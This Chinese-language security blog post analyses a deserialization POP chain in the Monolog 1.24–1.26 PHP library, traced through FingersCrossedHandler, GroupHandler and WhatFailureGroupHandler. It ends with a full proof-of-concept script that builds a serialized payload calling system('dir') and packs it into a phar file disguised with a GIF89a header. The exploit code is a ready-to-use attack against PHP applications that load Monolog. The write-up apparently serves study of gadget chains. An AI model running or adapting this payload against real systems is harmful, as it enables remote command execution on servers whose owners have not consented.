monolog1.24-26反序列化分析
首先是说明,github
上面的phpggc
项目中的反序列化利用链,多数只是起到学习的作用,
基本无法应用在实战环境中
此利用连是接上篇fastadmin
二开的cms
中的反序列化的一次构造
命令执行
构造POP
这个第三方库的入口点在一个抽象类中
所以继承自此类的子类,全都可以作为入口
当然BuffeerHandler
除外,因为它本身存在析构方法,且未做任何实质化的操作

接下来需要寻找的是,继承此类,并且存在close
方法的子类
找到一处FingersCrossedHandler
类

跟进flushBuffer
方法
可以看到,变量都是可控的,就是buffer
经过array_filter
的过滤导致,必须是一个数组,且存在键值为level
的值大于一个可控数

我们去在线测试一下这段代码
这里必须要提的一点就是,array_filter
方法提供的第一个参数需要是一个数组
所以这里需要提供一个二维数组

继续跟进一个handleBatch
方法
此方法可以直接调用任意类的任意方法,并对传入的二维数组,进行了一次降维操作

要想达到命令执行的效果,需要对一维数组再次进行降维
再次发现,它的子类,同样存在一个一摸一样的方法

至此可以完成命令执行
编写POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php namespace Monolog\Handler{ abstract class AbstractHandler{
} class FingersCrossedHandler extends AbstractHandler{ protected $passthruLevel; protected $handler; protected $buffer; public function __construct(){ $this->passthruLevel = 1; $this->handler = new GroupHandler(); $this->buffer = [["dir","level"=>"2"]]; } } class GroupHandler{ protected $processors; public function __construct(){ $this->processors = [[new WhatFailureGroupHandler(), 'handleBatch']]; } } class WhatFailureGroupHandler{ protected $processors; public function __construct(){ $this->processors = ['system']; } } } namespace{ use Monolog\Handler\FingersCrossedHandler; $exception = new FingersCrossedHandler(); echo base64_encode(serialize($exception)); unlink("test.phar"); $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->setStub("GIF89a<?php__HALT_COMPILER(); ?>"); $phar->setMetadata($exception); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); } ?>
|
执行结果
